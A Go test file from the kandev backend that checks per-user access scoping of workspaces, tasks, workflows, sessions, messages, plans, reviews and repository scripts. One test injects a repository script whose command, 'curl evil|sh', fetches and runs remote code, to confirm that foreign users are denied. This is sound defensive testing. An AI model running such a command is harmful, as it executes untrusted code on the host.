Files
kandev/apps/backend/internal/task/service/service_access_test.go
T
2026-09-06 11:32:14 +01:00

444 lines
18 KiB
Go

package service
import (
"context"
"errors"
"testing"
"go.uber.org/zap"
"github.com/kandev/kandev/internal/auth/authn"
commonlogger "github.com/kandev/kandev/internal/common/logger"
"github.com/kandev/kandev/internal/task/models"
"github.com/kandev/kandev/internal/task/repository"
"github.com/kandev/kandev/internal/task/repository/repoerrors"
v1 "github.com/kandev/kandev/pkg/api/v1"
)
func accessTestLogger(t *testing.T) *commonlogger.Logger {
t.Helper()
log, err := commonlogger.NewFromZap(zap.NewNop())
if err != nil {
t.Fatalf("logger: %v", err)
}
return log
}
// Per-user workspace scoping matrix: user A must not see or mutate user B's
// workspaces/tasks; internal (identity-less) and synthetic (auth disabled)
// callers keep today's see-everything behavior; pre-auth unowned rows stay
// visible to everyone.
func ctxAs(userID string) context.Context {
return authn.WithIdentity(context.Background(), authn.Identity{UserID: userID, Role: authn.RoleMember})
}
func ctxSynthetic() context.Context {
return authn.WithIdentity(context.Background(), authn.Identity{UserID: "default-user", Role: authn.RoleAdmin, Synthetic: true})
}
func seedScopedWorkspaces(t *testing.T, repo interface {
CreateWorkspace(context.Context, *models.Workspace) error
CreateWorkflow(context.Context, *models.Workflow) error
CreateTask(context.Context, *models.Task) error
CreateTaskSession(context.Context, *models.TaskSession) error
}) {
t.Helper()
ctx := context.Background()
workspaces := []*models.Workspace{
{ID: "ws-a", Name: "A's", OwnerID: "user-a"},
{ID: "ws-b", Name: "B's", OwnerID: "user-b"},
{ID: "ws-legacy", Name: "Pre-auth"},
}
for _, ws := range workspaces {
if err := repo.CreateWorkspace(ctx, ws); err != nil {
t.Fatalf("create workspace %s: %v", ws.ID, err)
}
}
if err := repo.CreateWorkflow(ctx, &models.Workflow{ID: "wf-b", WorkspaceID: "ws-b", Name: "B flow"}); err != nil {
t.Fatalf("create workflow: %v", err)
}
if err := repo.CreateTask(ctx, &models.Task{
ID: "task-b", WorkspaceID: "ws-b", WorkflowID: "wf-b", WorkflowStepID: "step-1",
Title: "B's task", State: v1.TaskStateCreated, Priority: "medium",
}); err != nil {
t.Fatalf("create task: %v", err)
}
if err := repo.CreateTaskSession(ctx, &models.TaskSession{
ID: "sess-b", TaskID: "task-b", State: models.TaskSessionStateCreated,
}); err != nil {
t.Fatalf("create session: %v", err)
}
}
func TestWorkspaceScopingListAndGet(t *testing.T) {
svc, _, repo := createTestService(t)
seedScopedWorkspaces(t, repo)
// User A sees own + legacy unowned, not B's.
listed, err := svc.ListWorkspaces(ctxAs("user-a"))
if err != nil {
t.Fatal(err)
}
ids := map[string]bool{}
for _, ws := range listed {
ids[ws.ID] = true
}
if !ids["ws-a"] || !ids["ws-legacy"] || ids["ws-b"] {
t.Fatalf("user-a sees %v; want ws-a + ws-legacy only", ids)
}
// Foreign workspace reads as not-found (no existence leak).
if _, err := svc.GetWorkspace(ctxAs("user-a"), "ws-b"); !errors.Is(err, repoerrors.ErrWorkspaceNotFound) {
t.Fatalf("get foreign workspace: %v", err)
}
if _, err := svc.GetWorkspace(ctxAs("user-a"), "ws-legacy"); err != nil {
t.Fatalf("legacy workspace must stay visible: %v", err)
}
// Internal and synthetic callers see everything (including ws-b; the
// fixture may seed extra default workspaces, so assert containment).
for name, ctx := range map[string]context.Context{"internal": context.Background(), "synthetic": ctxSynthetic()} {
all, err := svc.ListWorkspaces(ctx)
if err != nil {
t.Fatalf("%s caller: %v", name, err)
}
seen := map[string]bool{}
for _, ws := range all {
seen[ws.ID] = true
}
if !seen["ws-a"] || !seen["ws-b"] || !seen["ws-legacy"] {
t.Fatalf("%s caller sees %v; want all seeded workspaces", name, seen)
}
}
}
func TestWorkspaceScopingDiscoveryRejectsForeignWorkspace(t *testing.T) {
svc, _, repo := createTestService(t)
seedScopedWorkspaces(t, repo)
svc.discoveryConfig = RepositoryDiscoveryConfig{Roots: []string{t.TempDir()}, MaxDepth: 2}
if _, err := svc.GetLocalRepositoryDiscoveryForWorkspace(ctxAs("user-a"), "ws-b", ""); !errors.Is(err, repoerrors.ErrWorkspaceNotFound) {
t.Fatalf("get foreign discovery snapshot: %v", err)
}
if _, err := svc.RefreshLocalRepositoryDiscoveryForWorkspace(ctxAs("user-a"), "ws-b", ""); !errors.Is(err, repoerrors.ErrWorkspaceNotFound) {
t.Fatalf("refresh foreign discovery snapshot: %v", err)
}
}
func TestWorkspaceScopingMutations(t *testing.T) {
svc, _, repo := createTestService(t)
seedScopedWorkspaces(t, repo)
name := "hijacked"
if _, err := svc.UpdateWorkspace(ctxAs("user-a"), "ws-b", &UpdateWorkspaceRequest{Name: &name}); !errors.Is(err, repoerrors.ErrWorkspaceNotFound) {
t.Fatalf("update foreign workspace: %v", err)
}
if err := svc.DeleteWorkspace(ctxAs("user-a"), "ws-b"); !errors.Is(err, repoerrors.ErrWorkspaceNotFound) {
t.Fatalf("delete foreign workspace: %v", err)
}
// Owner still can.
if _, err := svc.UpdateWorkspace(ctxAs("user-b"), "ws-b", &UpdateWorkspaceRequest{Name: &name}); err != nil {
t.Fatalf("owner update: %v", err)
}
}
func TestWorkspaceScopingTasksAndWorkflows(t *testing.T) {
svc, _, repo := createTestService(t)
seedScopedWorkspaces(t, repo)
if _, err := svc.GetTask(ctxAs("user-a"), "task-b"); !errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("get foreign task: %v", err)
}
if _, err := svc.GetTask(ctxAs("user-b"), "task-b"); err != nil {
t.Fatalf("owner get task: %v", err)
}
if _, err := svc.ListTasks(ctxAs("user-a"), "wf-b"); !errors.Is(err, repoerrors.ErrWorkspaceNotFound) {
t.Fatalf("list foreign workflow tasks: %v", err)
}
if _, _, err := svc.ListTasksByWorkspace(ctxAs("user-a"), "ws-b", "", "", "", 1, 10, "", false, false, false, false); !errors.Is(err, repoerrors.ErrWorkspaceNotFound) {
t.Fatalf("list foreign workspace tasks: %v", err)
}
if _, err := svc.ListWorkflows(ctxAs("user-a"), "ws-b", false); !errors.Is(err, repoerrors.ErrWorkspaceNotFound) {
t.Fatalf("list foreign workflows: %v", err)
}
if _, err := svc.GetWorkflow(ctxAs("user-a"), "wf-b"); !errors.Is(err, repoerrors.ErrWorkspaceNotFound) {
t.Fatalf("get foreign workflow: %v", err)
}
if err := svc.ArchiveTask(ctxAs("user-a"), "task-b"); !errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("archive foreign task: %v", err)
}
if err := svc.DeleteTask(ctxAs("user-a"), "task-b"); !errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("delete foreign task: %v", err)
}
}
func TestCreateWorkspaceStampsOwner(t *testing.T) {
svc, _, _ := createTestService(t)
created, err := svc.CreateWorkspace(ctxAs("user-a"), &CreateWorkspaceRequest{Name: "mine", OwnerID: "spoofed"})
if err != nil {
t.Fatal(err)
}
if created.OwnerID != "user-a" {
t.Fatalf("owner = %q, want user-a (request-body owner must be ignored)", created.OwnerID)
}
// Synthetic caller keeps pre-auth semantics (request passthrough).
created, err = svc.CreateWorkspace(ctxSynthetic(), &CreateWorkspaceRequest{Name: "legacy"})
if err != nil {
t.Fatal(err)
}
if created.OwnerID != "" {
t.Fatalf("synthetic-created owner = %q, want empty", created.OwnerID)
}
}
// TestAuthorizeWorkflowAccess covers the public wrapper the workflow service
// authorizes its step, export and import surface through. The workflow package
// owns those routes but not the permission: a workflow is visible exactly when
// its workspace is.
func TestAuthorizeWorkflowAccess(t *testing.T) {
svc, _, repo := createTestService(t)
seedScopedWorkspaces(t, repo)
if err := repo.CreateWorkflow(context.Background(), &models.Workflow{
ID: "wf-legacy", WorkspaceID: "ws-legacy", Name: "Pre-auth flow",
}); err != nil {
t.Fatalf("create legacy workflow: %v", err)
}
if err := svc.AuthorizeWorkflowAccess(ctxAs("user-a"), "wf-b"); !errors.Is(err, repoerrors.ErrWorkspaceNotFound) {
t.Fatalf("foreign workflow access: %v", err)
}
if err := svc.AuthorizeWorkflowAccess(ctxAs("user-b"), "wf-b"); err != nil {
t.Fatalf("owner workflow access: %v", err)
}
// Identity-less internal callers and the synthetic auth-disabled identity
// keep the pre-auth see-everything behavior.
if err := svc.AuthorizeWorkflowAccess(context.Background(), "wf-b"); err != nil {
t.Fatalf("internal workflow access: %v", err)
}
if err := svc.AuthorizeWorkflowAccess(ctxSynthetic(), "wf-b"); err != nil {
t.Fatalf("synthetic workflow access: %v", err)
}
// An unowned workspace stays visible until the setup wizard claims it.
if err := svc.AuthorizeWorkflowAccess(ctxAs("user-a"), "wf-legacy"); err != nil {
t.Fatalf("legacy workflow access: %v", err)
}
// So does a workflow carrying no workspace at all (schema default, never
// backfilled). This is the pre-auth row the orphan branch above must not
// swallow: it names no owner rather than naming a missing one.
if err := repo.CreateWorkflow(context.Background(), &models.Workflow{
ID: "wf-no-workspace", Name: "Pre-auth, workspaceless",
}); err != nil {
t.Fatalf("create workspaceless workflow: %v", err)
}
if err := svc.AuthorizeWorkflowAccess(ctxAs("user-a"), "wf-no-workspace"); err != nil {
t.Fatalf("workspaceless workflow access: %v", err)
}
// A failed workspace lookup is not an answer. The dangling-reference
// fallback below it returns nil, so a transient database error used to
// read as "authorized" and hand a guessed workflow ID to whoever asked.
broken := errors.New("database is locked")
svc.workspaces = &brokenWorkspaceReader{WorkspaceRepository: repo, err: broken}
if err := svc.AuthorizeWorkflowAccess(ctxAs("user-a"), "wf-b"); !errors.Is(err, broken) {
t.Fatalf("failed workspace lookup: %v, want the lookup error", err)
}
// A workspace row that is genuinely gone is a different answer from a
// failed lookup, and it is still not "authorized": the workflow names an
// owner that does not exist, so nobody sees it. (An unowned pre-auth row
// is the workspace_id == "" case below, not this one.)
svc.workspaces = &brokenWorkspaceReader{WorkspaceRepository: repo, err: repoerrors.ErrWorkspaceNotFound}
if err := svc.AuthorizeWorkflowAccess(ctxAs("user-a"), "wf-b"); !errors.Is(err, repoerrors.ErrWorkspaceNotFound) {
t.Fatalf("orphaned workflow: %v, want the not-found denial", err)
}
if err := svc.AuthorizeWorkflowAccess(ctxAs("user-b"), "wf-b"); !errors.Is(err, repoerrors.ErrWorkspaceNotFound) {
t.Fatalf("orphaned workflow for its former owner: %v, want the not-found denial", err)
}
// Unscoped callers are unaffected: they never reach the lookup.
if err := svc.AuthorizeWorkflowAccess(context.Background(), "wf-b"); err != nil {
t.Fatalf("internal caller hit the orphan branch: %v", err)
}
if err := svc.AuthorizeWorkflowAccess(ctxSynthetic(), "wf-b"); err != nil {
t.Fatalf("synthetic caller hit the orphan branch: %v", err)
}
svc.workspaces = repo
// A workflow that does not exist is reported as the repository reports it,
// which the workflow service classifies as not-visible so a missing
// workflow and a foreign one answer identically.
if err := svc.AuthorizeWorkflowAccess(ctxAs("user-a"), "wf-missing"); err == nil {
t.Fatal("missing workflow access: want an error")
}
}
func TestAuthorizeSessionAccess(t *testing.T) {
svc, _, repo := createTestService(t)
seedScopedWorkspaces(t, repo)
if err := svc.AuthorizeSessionAccess(ctxAs("user-a"), "sess-b"); !errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("foreign session access: %v", err)
}
if err := svc.AuthorizeSessionAccess(ctxAs("user-b"), "sess-b"); err != nil {
t.Fatalf("owner session access: %v", err)
}
if err := svc.AuthorizeSessionAccess(context.Background(), "sess-b"); err != nil {
t.Fatalf("internal session access: %v", err)
}
}
func TestAuthorizeTaskSessionAccessRejectsMismatchedPair(t *testing.T) {
svc, _, repo := createTestService(t)
seedScopedWorkspaces(t, repo)
if err := repo.CreateTask(context.Background(), &models.Task{
ID: "task-b-other", WorkspaceID: "ws-b", WorkflowID: "wf-b", WorkflowStepID: "step-1",
Title: "B's other task", State: v1.TaskStateCreated, Priority: "medium",
}); err != nil {
t.Fatalf("create other task: %v", err)
}
for name, ctx := range map[string]context.Context{
"owner": ctxAs("user-b"),
"internal": context.Background(),
} {
err := svc.AuthorizeTaskSessionAccess(ctx, "task-b-other", "sess-b")
if !errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("%s mismatched pair error = %v, want ErrTaskNotFound", name, err)
}
}
if err := svc.AuthorizeTaskSessionAccess(ctxAs("user-b"), "task-b", "sess-b"); err != nil {
t.Fatalf("matching pair: %v", err)
}
}
// TestMessageScopingBlocksForeignSession covers the read/search paths the
// security audit flagged as unscoped (agent-conversation cross-user read).
func TestMessageScopingBlocksForeignSession(t *testing.T) {
svc, _, repo := createTestService(t)
seedScopedWorkspaces(t, repo)
if _, err := svc.ListMessages(ctxAs("user-a"), "sess-b"); !errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("foreign ListMessages: %v", err)
}
if _, _, err := svc.ListMessagesPaginated(ctxAs("user-a"), ListMessagesRequest{TaskSessionID: "sess-b"}); !errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("foreign ListMessagesPaginated: %v", err)
}
if _, err := svc.SearchMessages(ctxAs("user-a"), "sess-b", "q", 10); !errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("foreign SearchMessages: %v", err)
}
// Owner and internal callers are unaffected.
if _, err := svc.ListMessages(ctxAs("user-b"), "sess-b"); err != nil {
t.Fatalf("owner ListMessages: %v", err)
}
if _, err := svc.ListMessages(context.Background(), "sess-b"); err != nil {
t.Fatalf("internal ListMessages: %v", err)
}
}
// TestPlanAndWalkthroughScoping covers the plan/walkthrough/review services,
// which each carry their own task authorizer seam (wired to the task service).
// Exercises the assembled path AuthorizeTaskAccess → SetTaskAuthorizer →
// service, so all three stay uniformly covered: a foreign owner is denied with
// ErrTaskNotFound and the real owner passes the gate.
func TestPlanAndWalkthroughScoping(t *testing.T) {
svc, _, repo := createTestService(t)
seedScopedWorkspaces(t, repo)
log := accessTestLogger(t)
plan := NewPlanService(repo, nil, log)
plan.SetTaskAuthorizer(svc.AuthorizeTaskAccess)
if _, err := plan.GetPlan(ctxAs("user-a"), "task-b"); !errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("foreign plan get: %v", err)
}
if err := plan.DeletePlan(ctxAs("user-a"), "task-b"); !errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("foreign plan delete: %v", err)
}
// Owner and internal callers pass the gate (missing plan is nil/NotFound,
// not an auth error).
if _, err := plan.GetPlan(ctxAs("user-b"), "task-b"); errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("owner plan get must pass the auth gate: %v", err)
}
if _, err := plan.GetLatestRevision(ctxAs("user-a"), "task-b"); !errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("foreign latest revision get: %v", err)
}
if _, err := plan.GetLatestRevision(ctxAs("user-b"), "task-b"); errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("owner latest revision get must pass the auth gate: %v", err)
}
wt := NewWalkthroughService(repo, nil, log)
wt.SetTaskAuthorizer(svc.AuthorizeTaskAccess)
if _, err := wt.GetWalkthrough(ctxAs("user-a"), "task-b"); !errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("foreign walkthrough get: %v", err)
}
if err := wt.DeleteWalkthrough(ctxAs("user-a"), "task-b"); !errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("foreign walkthrough delete: %v", err)
}
review := NewReviewService(repo, nil, log)
review.SetTaskAuthorizer(svc.AuthorizeTaskAccess)
if _, _, err := review.PublishFindings(ctxAs("user-a"), PublishFindingsRequest{
TaskID: "task-b",
Findings: []ReviewFindingInput{validFindingInput()},
}); !errors.Is(err, repoerrors.ErrTaskNotFound) {
t.Fatalf("foreign review publish: %v", err)
}
// Owner passes the gate and the finding is actually persisted.
if _, findings, err := review.PublishFindings(ctxAs("user-b"), PublishFindingsRequest{
TaskID: "task-b",
Findings: []ReviewFindingInput{validFindingInput()},
}); err != nil {
t.Fatalf("owner review publish must pass the auth gate: %v", err)
} else if len(findings) != 1 {
t.Fatalf("owner review publish should return the stored finding, got %d", len(findings))
}
// Confirm the write landed in the repository, not just the returned slice.
persisted, err := repo.ListTaskReviewFindings(context.Background(), "task-b")
if err != nil {
t.Fatalf("list persisted review findings: %v", err)
}
if len(persisted) != 1 {
t.Fatalf("owner review publish should persist exactly one finding, got %d", len(persisted))
}
}
// TestRepositoryScriptScoping covers the repository-script read/inject paths
// the security audit flagged as unscoped.
func TestRepositoryScriptScoping(t *testing.T) {
svc, _, repo := createTestService(t)
seedScopedWorkspaces(t, repo)
ctx := context.Background()
if err := repo.CreateRepository(ctx, &models.Repository{ID: "repo-b", WorkspaceID: "ws-b", Name: "b"}); err != nil {
t.Fatalf("seed repo: %v", err)
}
if _, err := svc.CreateRepositoryScript(ctxAs("user-a"), &CreateRepositoryScriptRequest{
RepositoryID: "repo-b", Name: "evil", Command: "curl evil|sh",
}); !errors.Is(err, repoerrors.ErrRepositoryNotFound) {
t.Fatalf("foreign CreateRepositoryScript: %v", err)
}
if _, err := svc.ListRepositoryScripts(ctxAs("user-a"), "repo-b"); !errors.Is(err, repoerrors.ErrRepositoryNotFound) {
t.Fatalf("foreign ListRepositoryScripts: %v", err)
}
// Owner can create + list.
created, err := svc.CreateRepositoryScript(ctxAs("user-b"), &CreateRepositoryScriptRequest{
RepositoryID: "repo-b", Name: "setup", Command: "make",
})
if err != nil {
t.Fatalf("owner CreateRepositoryScript: %v", err)
}
if _, err := svc.GetRepositoryScript(ctxAs("user-a"), created.ID); !errors.Is(err, repoerrors.ErrRepositoryNotFound) {
t.Fatalf("foreign GetRepositoryScript: %v", err)
}
}
// brokenWorkspaceReader answers every workspace lookup with a fixed error,
// standing in for a database that is failing rather than empty.
type brokenWorkspaceReader struct {
repository.WorkspaceRepository
err error
}
func (r *brokenWorkspaceReader) GetWorkspace(context.Context, string) (*models.Workspace, error) {
return nil, r.err
}